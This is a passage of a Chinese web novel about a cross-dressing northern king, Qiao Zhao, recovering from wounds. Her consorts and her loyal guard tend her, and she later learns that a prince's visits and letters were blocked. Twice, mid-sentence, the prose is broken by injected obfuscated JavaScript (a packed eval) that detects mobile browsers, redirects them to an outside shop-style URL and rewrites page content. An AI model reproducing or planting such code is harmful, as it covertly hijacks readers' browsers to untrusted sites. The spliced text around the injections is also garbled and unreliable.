祈昭抱着怀里的孩子,几乎是踉跄着走下马车,衣衫上的血迹早已干涸发黑,可她怀里的小姑娘依旧安稳沉睡。她强撑着最后一丝力气,亲自将孩子安置在最安全、最暖和的侧殿,又吩咐了最细心的侍女寸步不离守着,确定万无一失后,才独自退回了自己的寝殿。 她没有叫太医,也没有喊任何人帮忙,就着一盏孤灯,自己处理伤口。 指尖颤抖着解开染血的衣袍,后背的炸伤红肿破皮,渗着血丝,她只是咬着牙,用烈酒草草消毒,胡乱裹上纱布便算完事。左手掌心那道接箭留下的伤口最深,皮肉翻卷,她也只是简单包扎、止血,连细致缝合都没有,只处理了看得见的表面伤口,深层的疼痛与隐患,全被她硬生生压了下去。 这六天,像是一场无休止的硬仗。 一路赶路奔赴南北界、遭遇埋伏、爆炸、厮杀、连夜返程,再加上安顿孩子、压下府里的慌乱,她几乎没有合过眼,更没有半分喘息的空隙。 谢随被她第一时间派了出去,彻查幕后动手的北冥旁支,务必把所有牵连的人连根拔起。 而她自己,一头扎进这堆烂事里,整整六天,没有回过萧惊渊一次消息,没有接见过一次宫里来的人,更没有半分音讯传到皇宫。 像是彻底从萧惊渊的世界里,消失了六天。 宫里派来打探的内侍被拦在府外,传信的纸条石沉大海,御书房里等了一天又一天的人,脸色一天比一天沉,眼底的不安几乎要溢出来。 可祈昭顾不上了。 表姐满门惨死,遗孤险些丧命,北冥内部虎视眈眈,自身伤痕累累…… 这一切,早已压得她喘不过气。 她不是故意不理, 是真的撑到了极限, 连抬头想起那个人的力气,都没有了。 半个月的昼夜追查,谢随终于将所有线索连根拔起,捧着卷宗跪在北冥王府正厅时,整个人都透着脱力后的凝重。幕后真凶正是北冥旁支中最狼子野心的一支,他们早已暗中攥住了祈昭身份可疑的零星把柄,这才铤而走险,以灭门惨案做诱饵,妄图一举除掉她、夺取王位。 祈昭坐在主位上,指尖轻轻敲着案几,听完所有始末,脸上没有半分波澜,只有冷到极致的决断。她没有丝毫姑息,当即落笔宣判:主谋一族尽数处死,其余牵连者,全部发配至北冥最荒芜、最偏远的边疆,永世不得入关、不得踏回故土。 判决下达的那一刻,积压了半个月的戾气与重压终于稍稍散去,祈昭靠在椅背上,长长舒出一口气,紧绷了许久的肩头,第一次缓缓落下。这半个月,她伤口未愈便强撑着理事,白日应对府中事务,夜里盯着追查进度,连掌心那道接箭的伤口都反复裂开、愈合,早已结了层难看的硬痂。 直到此刻,祸根拔除,隐患肃清,她才真正觉得心里松快了些许。 刚想闭目歇片刻,殿外便传来细碎又委屈的哭声,小小的身影跌跌撞撞地跑进来,梳着小发髻,眼眶通红,一看见祈昭,立刻张开双臂扑过去,哭得抽抽噎噎: “舅舅……我要舅舅……” 是表姐的那个小女儿,早已醒转,也渐渐认熟了守在她身边的祈昭。孩子心性单纯,只知道在这冰冷可怕的日子里,只有这个抱着她、护着她的人,能给她安全感。 祈昭心头一软,所有的冷硬瞬间褪去。她起身弯腰,伸手稳稳将孩子抱进怀里,动作轻柔得不像那个刚判下生死决断的北冥王。小女孩把脸埋在她颈窝,哭得一抽一抽的,小手紧紧攥着她的衣襟,生怕一松手,她就不见了。 祈昭轻轻拍着孩子的后背,低声哄着,声音是从未有过的温和。 廊外的风渐渐暖了,积压许久的阴霾,终于在这一声稚嫩的哭喊里,散了大半。 祈昭低头看着自己左手掌心那道狰狞凸起的硬痂,暗红发黑的疤痕皱巴巴贴在掌心,边缘还泛着深浅不一的淡紫,与她原本干净修长的手指格格不入,显得格外扎眼。之前忙着查案、护孩子、镇住北冥乱局,她压根没心思顾这些,此刻风波暂歇,才猛地想起这道疤实在碍眼——她如今顶着北冥王的身份,日日要握笔、握剑、见人,这道疤不仅难看,稍一用力还隐隐作痛。 她轻蹙了下眉,扬声唤来门外候着的谢随。 “去,把府里的人叫过来。” 谢随一怔,一时没反应过来:“王,您是叫太医?属下这就……” “不是太医。”祈昭淡淡打断,抬手晃了晃自己受伤的左手,语气难得带了点不自在,“叫她们过来,府里的那些人。” 谢随瞬间明白了,自家王说的是北冥王府里,为了掩人耳目纳下的那群“宠妃”——全是用来掩护祈昭女扮男装身份的幌子,个个心思纯良,又都真心敬慕这位年轻有为、温和有礼的北冥王。他不敢耽搁,立刻转身去通传。 不过半盏茶的功夫,几道轻盈的身影便匆匆赶来了寝殿,裙摆扫过地面连声响都轻得小心翼翼。一进门,几人目光便齐刷刷落在祈昭身上,随即,全都定格在了他缠着薄布、依旧能看出凸起疤痕的左手上。 为首的苏晚娘最先红了眼,她性子最软,素来心细,上前一步声音都发颤:“王……您的手……怎么伤成这样?” 另一个穿浅绿衣裙的林霜儿也凑了过来,眼眶瞬间湿润,伸手想去碰又不敢,只敢轻轻捧着他的手腕,指尖微微发抖:“上次见您还好好的,不过半月,怎么伤得这么重?这痂结得这么硬,肯定又疼又痒吧……” 剩下的几人也围了上来,没有丝毫矫揉造作,全是实打实的心疼,一双双眼睛里满是担忧,看着祈昭的眼神,像是在看自己拼了命想护着的人。 她们虽名义上是北冥王的妃妾,却从无半分僭越,心里都清楚这只是权宜之计,可朝夕相处下来,早已被祈昭的正直、温和、担当深深折服,个个打心底里把他当成值得托付一生的主子、甚至是心仪之人。如今见他伤得这般重,还自己硬扛了半个月,哪里能不心疼。 祈昭被她们围在中间,难得有些不自在,轻咳一声掩饰尴尬:“一点小伤,之前忙忘了处理,这痂留着难看,你们谁有温和去痂、淡疤的药膏,帮我处理一下。” “王怎么能说是小伤!”苏晚娘立刻轻嗔一句,语气里带着心疼的责备,却又不敢太重,“您看这伤口深的,若是处理不好,以后一辈子都留着大疤!” 说着,她立刻转身,让侍女取来自己珍藏的上好祛疤膏——那是她用南疆进贡的香料、积雪草、白玉膏亲手调制的,质地温润,不伤皮肉,专门用来淡化疤痕、软化硬痂。 林霜儿则端来温热的清水,干净的软巾,轻轻沾了温水,一点点敷在祈昭掌心的硬痂上。她动作轻得不能再轻,生怕弄疼他,一边敷一边小声叮嘱:“王您忍一忍,先把痂泡软,等会儿上药才不疼,也能去得干净……您以后可不能再这么不爱惜自己了,我们……我们都会担心的。” 剩下的几人也没闲着,有人轻轻扶着祈昭的手臂,让他坐得更舒服;有人守在一旁,扇着微风驱散殿内的闷意;还有人默默准备着干净的纱布,眼神一刻也没离开过祈昭的手。 暖光落在寝殿内,气氛安静又温柔。 苏晚娘蹲在祈昭身前,捧着他的左手,指尖轻轻拂过硬痂边缘,动作虔诚又小心。泡软后的硬痂微微泛白,她用小银勺一点点轻轻刮去松动的死皮,每一下都轻如羽毛,生怕力道重一分弄疼他。刮干净表层硬痂后,她取来乳白温润的祛疤膏,用指腹轻轻揉开,一点点按进新生的嫩肉里。 药膏清凉温润,一敷上去,之前又痒又绷的不适感瞬间消散大半。 “王,这个药膏要每日早晚涂,涂完轻轻揉一揉,连着敷上一个月,疤痕就能淡得几乎看不见了。”苏晚娘低着头,睫毛轻轻颤动,声音温柔得能滴出水,“以后若是再受伤,可千万不许自己硬扛了,您身边有我们,不管是伤口,还是烦心事,都可以交给我们。” 林霜儿也在一旁轻声附和,眼眶依旧红红的:“是啊王,您是我们的主子,是北冥的天,您若不爱惜自己,我们心里怎么能安稳?这次是去救小郡主吧,我们都听说了,您不顾危险救她,我们既佩服,又怕得要命……万一您出事了,我们……” 话说到一半,她便哽咽着说不下去,其余几人也纷纷点头,眼底的心疼与担忧毫不掩饰。她们没有一个人抱怨祈昭半月不理府中事,没有一个人计较名分虚实,只真心实意地疼他、护他、念他。 祈昭看着围在自己身边,满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261133|198029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼都是关切的几人,心头微微一暖。 她这一生,为了隐瞒身份步步为营,为了守住北冥杀伐决断,早已习惯了独自扛下所有危险与疲惫,从未想过,有一天会被这么多人小心翼翼地捧在手心疼惜。左手掌心的清凉药膏,伴着她们温柔的叮嘱,一点点熨帖进心底,连之前爆炸留下的隐痛,都仿佛消散了大半。 她轻轻抽回手,看了一眼被细心涂好药膏、裹上薄纱布的掌心,语气不自觉放软了几分: “知道了,有劳你们。” 简简单单六个字,却让眼前几位女子瞬间红了脸颊,纷纷低下头,掩去眼底的欢喜与安心。 她们要的从不是荣华富贵,从不是独宠一身,只是这位清冷的北冥王,能记得她们的心意,肯接受她们的照料。 而祈昭望着自己被细心照料的左手,望着眼前这群温柔真心的人,第一次觉得,这用来掩护身份的“后宫”,竟成了她疲惫日子里,一抹最柔软的暖意。 正被几位女子温柔照料着手伤,殿外忽然传来一阵细碎又软糯的脚步声,侍女牵着刚醒过来的小郡主走了进来。孩子梳着两个圆圆的发髻,穿着一身嫩黄色的小襦裙,脸蛋还有些肉肉的,眼睛红红的,一看就是刚哭过,一看见祈昭就立刻挣开侍女的手,迈着小短腿扑了过来。 “舅舅——抱!” 祈昭下意识弯下腰,稳稳把孩子抱进怀里,动作轻柔得不像话,和方才在朝堂上判人生死的北冥王判若两人。她低头看着怀里的小丫头,眼底的冷硬尽数化开,只剩下化不开的温柔。 几位“宠妃”站在一旁,看着这一幕,眼底都泛起了柔和的笑意。她们早就听说了这孩子的来历,是王爷最疼爱的表姐留下的唯一骨血,也知道这半个月王爷为了这孩子九死一生,心里早已把这个突然到来的小郡主,当成了北冥王府真正的小宝贝。 苏晚娘最先走上前,伸手轻轻碰了碰孩子软乎乎的小手,声音温柔得像春风:“王,这就是小郡主吧?生得真好看,眉眼和您还有几分像呢。” 祈昭抱着安安,指尖轻轻拂过孩子额前的碎发,轻声道:“孩子随她母亲姓,大名叫做静雅安,小名怡安,也可以叫她安安。往后,她就是北冥王府的小郡主,谁都不能委屈了她。” “安安……真是个好听的名字。”林霜儿忍不住轻声重复,眼底满是喜爱,“怡安,一世安逸,平安顺遂,王爷定是希望小郡主一辈子平平安安,无灾无难。” 几人围了上来,看着安安的眼神全都温柔得发亮,没有半分嫉妒,更没有半分疏离,全是实打实的疼爱。她们知道这孩子是王爷的软肋,也是王爷拼了命护下来的珍宝,自然而然,便把这份心意也接了过来。 安安起初还有些怕生,小脑袋埋在祈昭颈窝里不肯抬头,可架不住眼前几位姐姐温柔又耐心,又是给她递甜甜的点心,又是拿精巧的小玩意儿哄她,没过多久,小丫头便放松下来,睁着圆溜溜的大眼睛,怯生生地看着她们。 苏晚娘从袖中取出一枚温润的平安扣,是上好的羊脂玉打磨而成,轻轻系在安安的脖子上:“小郡主,这是给你的平安扣,戴着它,以后再也不会受惊吓,平平安安长大。” 林霜儿也拿出自己绣了半个月的小荷包,上面绣着可爱的小兔子,塞到安安手里:“郡主拿着,里面装着安神的香草,晚上睡觉就不会做噩梦啦。” 其余几人也纷纷拿出自己准备的小玩意儿,玉佩、绢花、小银铃……堆在安安面前,把小丫头看得眼睛都直了,小脸上渐渐露出了怯生生的笑意,伸手轻轻抓住了苏晚娘的衣袖,小声喊了一句: “姐姐……” 这一声软软的“姐姐”,瞬间把几人的心都喊化了。 祈昭坐在一旁,抱着安安,看着眼前这幅温馨的画面,左手的伤仿佛也不痛了。她原本只是为了掩护身份,才在府中安排了这些女子,可时至今日才发觉,这些温柔善良的人,早已成了她在这冰冷王府里,最温暖的依靠。 安安靠在她怀里,一手攥着祈昭的衣襟,一手拿着林霜儿给的小兔子荷包,小嘴巴微微弯着,睡得安稳又香甜。 殿内暖意融融,烛火温柔。 北冥王的清冷寝殿,因为一个小小的安安,因为一群真心相待的人,第一次有了家的模样。 38. 王生来这样·八 北冥旁支的清算终于在第七日彻底落定。 刑场上的血迹已被冲刷干净,流放的队伍早已出关,再也没有敢暗中窥伺王位、暗下杀手的乱党,整个北冥地界重归安稳。祈昭拖着一身伤站在王府正厅,听完谢随最后的禀报,紧绷了整整半月的神经,才终于轰然松懈。 这几日她过得如同在刀尖上行走。 白日里堆成山的奏折压得人喘不过气,刚提完笔就要提剑,刚审完犯人就要镇住场面,时时刻刻端着北冥王那副冷漠威严的架子,不能露半分怯,不能显半分弱。后背被爆炸震出的瘀伤一碰就疼,大腿被刺客划开的伤口每走一步都拉扯着皮肉,胳膊上的划伤密密麻麻,最吓人的还是左手手腕那道接箭留下的伤口,深可见肉,结痂狰狞,稍稍用力便牵扯着筋骨刺痛,仿佛再偏一寸,便要伤及筋骨命脉。 可她一句疼都没说过。 直到深夜,所有人都退下,祈昭才关上寝殿大门,脱力般倒在床上。 厚重的衣袍一松开,浑身的伤口便一起叫嚣着疼,她闷哼一声,连抬手的力气都没有,就那么怔怔望着床顶,眼前一阵阵发黑。 就在这时,房门轻响,谢随轻步走了进来,手里捧着刚煎好的汤药和换药的纱布药膏。 “王。” 祈昭闭着眼,声音轻得几乎听不清:“药放那吧。” 谢随没动,目光落在她微微颤抖的手腕上,喉结滚了滚,声音压得发哑: “王,您的伤……已经两天没换药了。” 祈昭这才猛地一怔,像是才想起这件事。 她只顾着审犯人、清乱党、安抚安安,早就把身后、腿上那些看不见的伤口抛在了脑后,此刻经谢随一提,才觉得后背又黏又疼,想必是伤口渗血,粘住了里衣。 她沉默片刻,终究是撑不住了,侧过身,背对着谢随,声音淡得像在说别人的事: “……过来吧。帮我换个药。” 这一句话,让谢随眼眶瞬间就红了。 这半个月,他家王硬是强撑着,不许任何人碰伤口,不许任何人细看,每次他想检查,都被祈昭一句“无妨”“不碍事”“退下”硬生生堵回去。他明明知道王受了重伤,明明知道箭伤、刀伤、炸伤密密麻麻,却连看一眼、碰一下的机会都没有,心里憋得快要炸开,又疼又急又无能为力。 如今终于能碰了。 谢随攥紧指尖,一步步走上前,声音都在发颤: “……属下得罪了。” 他轻轻掀开祈昭的外袍,再慢慢褪开中衣—— 只一眼,谢随的呼吸猛地顿住,整个人都僵在原地,眼圈瞬间就红透了。 后背一大片青紫肿胀,是马车爆炸时留下的震伤,皮肤被火星烫得溃烂,混着陈旧的血迹,与新渗出的血丝粘在一起;胳膊上数道刀伤深浅不一,有的已经结痂,有的还在微微泛红;大腿外侧一道伤口最深,缝线都被他硬撑着走动扯得有些开裂;最刺眼的还是左手手腕,那道伤口又深又长,结痂黑红凸起,几乎深到能看见底下的白骨轮廓,看得人心脏抽疼。 谢随的手都在抖,几乎拿不稳纱布。 “王……”他声音哽咽,再也忍不住,“您怎么伤成了这样?您怎么能……怎么能瞒着不说?” 祈昭趴在床上,脸埋在软枕里,声音闷闷的,却依旧是那副无所谓的语气: “一点皮外伤,死不了。” “皮外伤?”谢随猛地提高声音,又连忙压低,怕惊扰了她,心疼得快要滴血,“这叫皮外伤?手腕这道再深半寸,手就废了!后背烂成这样,您这几天是怎么站在朝堂上审人的?大腿伤口都裂开了,您还天天来回跑……您到底把自己当成什么了?!” 祈昭闭着眼,指尖轻轻攥着被褥,疼得额角冒冷汗,却还是淡淡道: “我是北冥王,不能倒。” “可您也是人啊!”谢随的眼泪终于忍不住掉了下来,砸在地面上,“您不是铁打的!您也会疼,也会累,也会受伤!属下跟着您这么多年,什么时候见过您伤得这么重?您明明疼得睡不着,却硬撑着批奏折;您明明站都站不稳,却还要端着架子压人;您连手都快抬不起来了,还非要亲自去抱安安……您就不能心疼心疼自己吗?” 祈昭沉默了。 她不知道该怎么回答。 自从披上这身王袍,她就没有资格喊疼,没有资格倒下,更没有资格软弱。 伤口再重,忍一忍就过去了;再疼,熬一熬也就没事了。 她只是轻轻开口,语气平静得近乎冷漠: “谢随,习惯了。” 就这四个字,彻底击溃了谢随。 他吸了吸鼻子,不敢再刺激她,只能小心翼翼用温水浸湿纱布,一点点擦去她后背的血迹,动作轻得像对待易碎的瓷器,每擦一下,心就疼一下。 “王,您以后别这样了。”他一边上药,一边哽咽着说,“属下求您了,再有伤,您让属下看,让属下治,别自己扛。您要是真有个三长两短,北冥怎么办?安安怎么办?……属下怎么办?” 祈昭闭着眼,感受着后背清凉的药膏带来的舒缓,也感受着谢随实实在在的心疼。 她很久没有被人这样小心翼翼地对待了,久到快要忘记,原来有人会把她的命看得比什么都重。 她没回头,声音轻得几乎被夜色吞没: “……知道了。” 谢随咬着唇,把纱布一圈圈缠好,力道轻柔,生怕勒疼她。处理到左手手腕时,他看着那道深可见骨的伤疤,手指都在抖,轻轻把药膏抹上去,一遍一遍揉开。 “王,这个伤口最危险,以后千万不能再用手接箭了。” “嗯。” “后背的药每日要换三次,不然会发炎。” “嗯。” “大腿的伤口不能再用力,属下明日起扶着您走。” “……不必。” “王!” 祈昭终于轻轻叹了口气,语气依旧是那副无所谓的淡然,却藏了一丝不易察觉的软: “我没那么娇气。谢随,你别太紧张。” 谢随低下头,眼泪又掉了下来。 不娇气,所以就活该一身伤吗? 不娇气,所以就硬撑着不倒吗? 他默默收拾好药碗,跪在床边,声音郑重又坚定: “王,您可以不心疼自己,但属下心疼。 往后您再受伤,属下就算抗旨,也要给您治。 您不能有事。 绝对不能。” 祈昭没有说话,只是把脸埋得更深了些。 窗外夜色正浓,寝殿里安安静静,只有两人浅浅的呼吸。 她身上依旧疼, 可心里那片硬邦邦的地方, 却在这一刻,被谢随的心疼,悄悄烫软了一角。 药膏一层层涂完,桌上已经空了五六只瓷瓶,从温和淡疤的白玉膏,到烈性生肌的金疮药,凡是能用上的全都给祈昭敷了一遍。药性最猛的那瓶一敷上去,伤口便传来针扎火燎般的剧痛,连谢随都看得牙酸,可祈昭只是肩膀极轻地颤了一下,从头到尾一声没吭,最多在疼到极致时,闷哼半声,转眼又归于平静。 谢随收拾着空瓶子,指尖都还在发僵,眼眶红得厉害,声音哑得几乎不成调。 “王……您知道这瓶金疮药有多烈吗?寻常男子挨一下都疼得打滚,您就……就这么忍着?” 祈昭趴在软枕上,气息微浅,额角沁出一层薄汗,把枕巾浸得微微发潮,却只是淡淡抬了抬眼,语气平淡得像在说天气。 “忍忍就过去了,喊出来无用。” “怎么会无用?!”谢随急得蹲到床边,声音都拔高了几分,“疼就是疼,您不用在属下面前装没事!您看看您,手腕、胳膊、后背、大腿……全身上下还有几处好地方?这半个月您硬扛着审人、批折、清算旁支,连太医都不让见,现在涂这么烈的药,您连哼都不哼一声……您是想把自己熬死吗?” 祈昭沉默片刻,轻轻动了动手指,声音轻了些: “我是北冥王,不能示弱。” “可您在属下面前,不用做北冥王!”谢随的眼泪终于又憋不住,掉在了衣襟上,“您在属下这儿,可以疼,可以累,可以撑不住,可以喊痛!您忘了吗?属下从小跟着您,您什么样儿属下没见过?您为什么非要把所有疼都藏起来?” 祈昭望着床幔外昏暗的灯火,许久才轻轻吐出一句: “习惯了。” “属下不习惯!”谢随立刻接话,语气又急又心疼,“属下看着您一身伤,属下心疼得吃不下睡不着!您整整五六瓶药膏涂上去,连眉头都不皱一下,您是铁打的吗?您知不知道方才属下给您擦后背的血,手都在抖?” 祈昭侧过头,看了他一眼,见他满脸通红、泪珠打转的模样,难得放缓了语气,少了几分平日的冷硬。 “我这不没事吗?药换好了,伤会好的。” “什么时候好?”谢随红着眼追问,“手腕那道伤再深一点就伤筋骨了,后背烂了一大片,大腿的伤口都裂开了……您说没事,可您现在连翻身都费劲!王,您能不能对自己好一点?就算不为您自己,为了安安,为了府里的人,为了……为了属下,您别再这么拼了行不行?” 祈昭被他一连串的话问得哑口无言,只能轻轻叹了口气。 “我知道你担心。” “不是担心,是怕。”谢随低下头,声音发颤,“属下怕您哪天真撑不住了,怕您伤口发炎发烧,怕您硬扛着扛出大事,怕您……再也醒不过来。那天马车爆炸,属下冲过去看见您被围在刺客中间,属下的心都快跳出来了,您知道吗?” 祈昭默然。 她从不知道,自己的生死,能让身边的人怕成这样。 谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261134|198029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 随见她不说话,又轻声补了一句,带着近乎哀求的语气: “王,以后再疼,您就掐属下,您就骂属下,您就出声,别再一个人扛着了。求您了。” 祈昭看着他通红的眼眶,看着他小心翼翼扶着自己胳膊的模样,心底那片最硬的地方,终于软得一塌糊涂。 她轻轻“嗯”了一声,声音很轻,却格外认真。 “好。” 谢随猛地抬头,眼里瞬间亮起光,像是不敢相信自己的耳朵。 “王……您答应了?” 祈昭微微点头,疲惫地闭了闭眼,声音带着一丝倦意,却依旧清晰: “答应你。下次……不逞强了。” 话音刚落,剧痛过后的疲惫席卷而来,她的呼吸渐渐变得平稳绵长,却依旧是浅眠——哪怕松了心神,她也不敢睡得太沉。 谢随轻轻给她盖好薄被,蹲在床边守着,一动也不敢动,生怕惊扰了她难得的休息。 他看着自家王苍白却平静的侧脸,看着她缠满纱布的手腕,心里一遍遍默念: 只要您平安, 只要您别再硬扛, 属下做什么都愿意。 寝殿里安安静静,只剩下窗外轻微的风声,和两人安稳的呼吸。 这半个月来的刀光剑影、血腥风雨,终于在这一刻,化作了片刻的安宁。 祈昭缓了许久,慢慢睁开眼,眸子里还带着未散的倦意,视线落在还守在床边不肯走的谢随身上,轻声开口。 “你还站在这里做什么?不回自己房间歇息?” 谢随立刻挺直背脊,语气坚定得没有半分犹豫:“属下就在这儿守着,王身上伤重,夜里若是翻身疼醒、或是要喝水换药,身边不能没人。” 祈昭闻言轻轻叹了口气,声音里带着几分无奈,又藏着几分不易察觉的软意:“我知道你忠心,可这里是北冥王府,刺客已经全部清干净了,内外都有护卫把守,不会有事的。你这半个月跟着我东奔西跑,审案、抓人、连夜查线索,也累到了极点,回去睡吧。” “属下不困!”谢随立刻脱口而出,生怕她赶自己走,“属下只要能守在王身边,就算不睡也无妨,王千万不要赶属下走。” 祈昭看着他眼底浓重的青黑,看着他眼下泛着的疲惫,心里哪会不清楚,这人早就撑到极限了。她微微蹙眉,语气多了几分不容拒绝的坚持。 “胡闹。人哪有能一直不睡的,真熬垮了身子,往后谁跟着我办事?我让你回去,你便回去,不必在这里死守。” “属下——” “谢随。”祈昭打断他,声音轻却有分量,“我知道你担心我,但也不能让你站着睡在这里。若是被府里的人看见,还以为我这个做王的,苛待身边亲卫。” 谢随嘴唇动了动,还是不肯妥协,目光牢牢落在祈昭身上,像是只要她不松口,他就能在这里站一整夜。 片刻后,他像是忽然想到了什么,眼睛一亮,立刻单膝跪地,声音带着几分恳求:“王!那属下不站着,属下回去抱一床被褥来,就在您床边打地铺!这样既不打扰王歇息,属下也能守在旁边,您夜里但凡有一点动静,属下立刻就能起身照应!” 祈昭一怔,显然没料到他会想出这个法子,一时竟不知道是该气还是该叹。 “地上凉,寒气重,你这般睡一夜,第二日必定腰酸背痛,若是染上风寒……” “属下身子硬朗得很!不怕凉,不怕寒,更不怕累!”谢随连忙抢着开口,生怕她再拒绝,“属下只要能守着王,睡在地上也心甘情愿!王若是再不答应,属下就真的只能整夜站在这里了。” 祈昭望着他执拗又认真的眼神,知道这人的性子,一旦认定的事,十头牛都拉不回来。她沉默了片刻,终究是松了口,轻轻点了点头,声音放得极柔。 “……罢了,随你吧。记得把被褥铺厚些,别真的冻出病来。” 谢随瞬间喜出望外,眼底的阴霾一扫而空,立刻重重叩首:“谢王恩准!属下这就去抱被褥!” 他脚步轻快地转身,生怕下一秒祈昭就反悔,飞快跑去自己的住处,抱来一床厚实的软褥和棉被,仔仔细细铺在床榻侧边的地面上,铺了一层又一层,垫得又软又厚,确定半点寒气都透不上来,才松了口气。 做完这一切,他又轻手轻脚回到床边,仔细看了看祈昭身上的被褥有没有盖好,确认她没有因为方才的对话牵扯到伤口,才放心地退到地铺旁。 “王,您歇息吧,属下就在这儿,有事您随时唤属下。” 祈昭侧过头,看着地面上铺得整整齐齐的被褥,又看了看谢随满眼安心的模样,心底轻轻一暖。她没有再多说什么,只是轻轻“嗯”了一声,闭上了眼睛。 寝殿里的灯火被谢随挑得极暗,暖黄的光柔柔洒下,映着床榻上重伤浅眠的王,和地面上守夜的亲卫。 一夜安静,再无风雨。 39. 王生来这样·九 两个月的时光,悄无声息地从北冥王府的檐角流过。 祈昭身上的伤早已褪去了最初的凶险,后背的炸伤、大腿的刀伤都结了软痂,只剩淡淡的浅痕,左手手腕那道险些伤骨的箭伤,在宠妃们日复一日细心涂抹秘制药膏后,也平复得只剩一道细浅的淡印,不仔细看几乎察觉不出。风波落定,安安在府里被照料得乖巧软糯,北冥境内再无乱党,她终于过上了安稳平静的日子。 只是这两个月里,萧惊渊这三个字,像是彻底从她的世界里消失了。 没有书信,没有传唤,没有内侍打探,连一丝一毫来自皇宫的音讯都没有。 祈昭起初忙得无暇顾及,后来闲下来,偶尔指尖拂过手腕,心底也会掠过一丝极淡的失落,却又很快被她压下——左右她如今是北冥王,身负重任,本就不该过多牵挂儿女情长,不见,或许也是好事。 她全然不知,皇宫里的萧惊渊,早已急得焦头烂额,委屈得近乎抓狂。 在祈昭遇刺、马车爆炸、身受重伤的消息第一时间传到皇宫时,萧惊渊当场就砸了御书房的玉杯,脸色惨白如纸,连朝服都来不及换,翻身上马就直奔北冥王府。他不敢想象,那个总是清冷淡然、习惯硬撑的人,身负那样重的伤,该有多疼。 可他连王府的大门都没能踏进去。 “王爷有令,近日静养,不见任何人。”守门侍卫面无表情地拦在门前,腰杆挺得笔直。 萧惊渊压着焦躁:“我是萧惊渊,让本王进去,只看他一眼就好。” “王爷说了,谁都不见,包括殿下您。” 侍卫一字一句,堵得萧惊渊胸口发闷。 他不信,连着三天,天天往北冥王府跑,次次都被拦在门外。侍卫为了彻底拦住他,甚至编出了瞎话: “启禀殿下,我们王说,近来事务繁忙,无心见客,让殿下不必再来了。” “我们王伤势已无大碍,不劳殿下挂心。” “我们王吩咐,不许任何人惊扰休养。” 每一句话,都像一根细针,扎在萧惊渊心上。 他站在朱漆大门外,望着府内层层叠叠的楼阁,满心的焦急与担忧,硬生生被堵成了铺天盖地的委屈。 他甚至开始胡思乱想——祈昭是不是厌了他?是不是不想再理他?是不是连一面都不肯见他? 实在进不去,他便提笔写信,一封又一封,字字句句都是藏不住的关切与焦灼,写她的伤,写她的安危,写他的想念,写他整夜整夜的不安。可这些信,刚递到王府门口,就被守在外围的侍卫悄悄截下,一封都没能送到祈昭手上。 两个月,萧惊渊来了不下二十次,信写了十几封,最终全都石沉大海。 他只能守在皇宫里,坐立难安,满眼憔悴,委屈得像个被丢弃的少年,却又半点办法都没有。 而这一切,祈昭一无所知。 这天午后,阳光正好,安安在府里跟着妃妾们玩耍,祈昭难得卸下一身王袍,换上了一身素色常服,独自出门逛街散心。她走在北冥热闹的街市上,看着人来人往,听着市井喧嚣,紧绷了许久的心神,彻底放松下来。 刚走到街角的玉饰店前,一道熟悉又温婉的声音,从身后传来。 “祈昭。” 祈昭转过身,一眼便看见了站在不远处的萧惊月——萧惊渊的亲姐姐,温婉大气,素来与她交好。 她立刻敛去周身的闲散,微微颔首:“长公主。” 萧惊月走上前,目光轻轻落在她身上,先是上下打量了一番,见她气色尚可,才轻轻松了口气,随即眼底又掠过一丝复杂的心疼与无奈。 “你总算肯出门了。” 祈昭微微一怔:“长公主此话何意?” 萧惊月看着她茫然的模样,轻轻叹了口气,语气里带着几分不忍: “你是真不知道,还是故意不提?我那弟弟,这两个月,快要为你疯了。” 祈昭的心,猛地一沉。 “惊渊他……” “你重伤遇险的事,他早就知道了。”萧惊月直言不讳,声音放轻,“他得知你身中箭伤、被爆炸所困、一身是伤的时候,差点直接闯进宫请旨来北冥守着你。可他去了你王府多少次,你知道吗?” 祈昭愣住了,瞳孔微微收缩:“……我不知道。” “他去了二十一次。”萧惊月看着她,一字一句清晰无比,“次次都被你的门卫拦在门外,侍卫还骗他,说你不想见他。他委屈得夜夜难眠,给你写了无数封信,也全都石沉大海。” “他怕打扰你养伤,又怕你伤势加重,想见见不到,想摸摸不着,连一句回信都没有……祈昭,你当真,这么久都没有他的一点音讯?” 祈昭站在原地,如遭雷击。 阳光落在身上,却半点暖意都没有。 她怔怔地望着萧惊月,脑子里一片空白—— 原来不是他不理她。 原来不是他忘了她。 原来他一直在找她,一直在担心她,一直在门外,等着见她一面。 而她,被蒙在鼓里,毫不知情。 那些她心底掠过的淡淡失落,那些她刻意压下的牵挂,在这一刻,全都变成了密密麻麻的心疼。 她甚至能想象出,那个向来意气风发的少年殿下,站在王府门外,被侍卫一次次阻拦,满眼委屈与焦灼的模样。 祈昭的指尖,轻轻颤抖起来。 喉咙像是被什么堵住,半晌,才哑着声音,挤出一句: “……我不知道,我真的,一点都不知道。” 萧惊月看着她眼底骤然泛起的慌乱与无措,便知道了—— 这两个互相牵挂、互相担心的人,竟被一道王府大门,一群不懂事的侍卫,硬生生隔断了两个月。 萧惊月望着祈昭骤然失色的脸庞,看着她指尖微颤、眼底翻涌的慌乱与心疼,心底那根压抑了许久的弦,终于轻轻一动。她缓步上前一步,目光温柔却带着不容错辨的认真,声音轻缓,却字字敲在祈昭心上。 